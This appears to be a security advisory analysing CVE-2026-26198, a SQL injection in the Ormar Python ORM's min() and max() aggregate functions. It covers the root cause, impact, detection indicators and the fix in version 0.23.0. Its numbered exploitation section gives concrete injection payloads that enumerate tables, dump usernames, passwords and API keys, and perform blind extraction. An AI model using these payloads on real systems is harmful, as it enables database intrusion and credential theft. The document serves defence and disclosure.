CVE-2026-26198: 
Python vulnerability analysis and mitigation

CVE-2026-26198 is a SQL injection vulnerability in Ormar, an async mini ORM for Python, affecting versions 0.9.9 through 0.22.0. The flaw allows unauthenticated remote attackers to inject arbitrary SQL via the min() and max() aggregate functions in the QuerySet class, which pass user-supplied column names directly into sqlalchemy.text() without validation. The vulnerability was published on February 24, 2026, with a patch released in version 0.23.0 on February 22, 2026. It carries a CVSS v3.1 base score of 7.5 (High) per NVD, and 9.8 (Critical) per the GitHub Security Advisory (GitHub Advisory, Red Hat CVE).

The root cause (CWE-89: SQL Injection) lies in SelectAction.get_text_clause() in select_action.py (lines 41–43), which constructs a raw SQL text clause by embedding self.field_name — derived directly from user input — into sqlalchemy.text() without any sanitization. The _query_aggr_function() method in queryset.py applies an is_numeric type check only for sum() and avg(), leaving min() and max() entirely unprotected. An attacker can supply a crafted subquery string as the column parameter to any API endpoint that calls Model.objects.min() or Model.objects.max(), causing the database engine to execute arbitrary SQL. The vulnerability was introduced in commit ff9d412 (March 12, 2021) with version 0.9.9 and remained unmodified through 0.22.0. A public PoC and detailed technical write-up are available (GitHub Advisory, PoC Repository).

Successful exploitation allows an unauthenticated attacker to read the entire database contents, including tables completely unrelated to the queried model (e.g., credential stores, API key tables). The attack requires no authentication and can be executed via simple HTTP GET requests to any public API endpoint that exposes min() or max() aggregate functionality. The vulnerability is confirmed to work against SQLite, PostgreSQL, and MySQL backends, and supports both direct data exfiltration and blind boolean-based extraction techniques, enabling full credential and secret compromise (GitHub Advisory).

Multiple proof-of-concept exploits are publicly available, including a detailed PoC on GitHub (blackhatlegend/CVE-2026-26198) and a full attack demonstration in the official security advisory. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation. The EPSS score is approximately 0.045% (0.000450), indicating a currently low but non-zero probability of exploitation. The vulnerability is not listed in the CISA KEV catalog. No specific threat actor attribution has been reported (GitHub Advisory, PoC Repository).

1. Reconnaissance: Identify applications using Ormar versions 0.9.9–0.22.0 that expose API endpoints accepting user-controlled column names for aggregate queries (e.g., GET /items/stats?metric=max&column=price).
2. Confirm injection: Send a crafted arithmetic expression as the column parameter: GET /items/stats?metric=max&column=1+1. If the response returns {"result": 2}, SQL injection is confirmed.
3. Enumerate database tables: Inject a subquery to list all tables: GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'). The response reveals all table names, including hidden ones.
4. Extract target schema: Retrieve the schema of a sensitive table: GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users'). This returns the full CREATE TABLE statement with column names.
5. Dump credentials: Exfiltrate all data in a single query: GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users).
6. Blind extraction (if needed): If results are not directly returned, use boolean-based blind injection with binary search: GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END. Repeat for each character position (~7 requests per character).
7. Extract API keys: GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root') to retrieve production secrets (GitHub Advisory).

• Network: Unusual HTTP GET requests to aggregate/stats API endpoints with column parameters containing SQL syntax (e.g., parentheses, SELECT, GROUP_CONCAT, sqlite_master, CASE WHEN, UNICODE, SUBSTR); high volume of similar requests with incrementing numeric parameters (indicative of blind extraction).
• Logs: Web server access logs showing requests with URL-encoded SQL subqueries in query string parameters (e.g., %28SELECT, %27table%27); repeated requests to the same endpoint with slight parameter variations in rapid succession.
• Application: Database query logs showing SELECT max(<subquery>) or SELECT min(<subquery>) patterns where the argument is not a simple column name; QueryDefinitionError exceptions in application logs (post-patch, indicating attempted exploitation against patched systems).
• Database: Queries referencing system tables such as sqlite_master, information_schema.tables, or pg_catalog.pg_tables originating from the application's database user account (GitHub Advisory).

The primary remediation is to upgrade Ormar to version 0.23.0 or later, which fixes the vulnerability by validating that all column names passed to aggregate functions exist in the target model's defined fields before constructing the SQL expression (Ormar Release, Patch Commit). If immediate patching is not possible, restrict or remove any API endpoints that pass user-controlled input to Model.objects.min() or Model.objects.max(), and implement an allowlist of valid column names at the application layer. Additionally, apply database-level access controls to limit the database user's privileges to only the tables and operations required by the application.

The vulnerability received coverage from security news outlets including SecurityOnline.info, which described it as a "critical SQL injection vulnerability" in the Ormar Python library, and The Hacker Wire, which published a dedicated write-up on the ORM injection via aggregate queries. The vulnerability was also mentioned in The Hacker News' weekly recap. The ormar maintainer credited researcher @AAtomical for responsible disclosure in the release notes and advisory. Community discussion was observed on Mastodon and Bluesky, with security researchers highlighting the risk of natural API design patterns (as documented in ormar's own docs) inadvertently exposing the injection surface (SecurityOnline, The Hacker Wire, Ormar Release).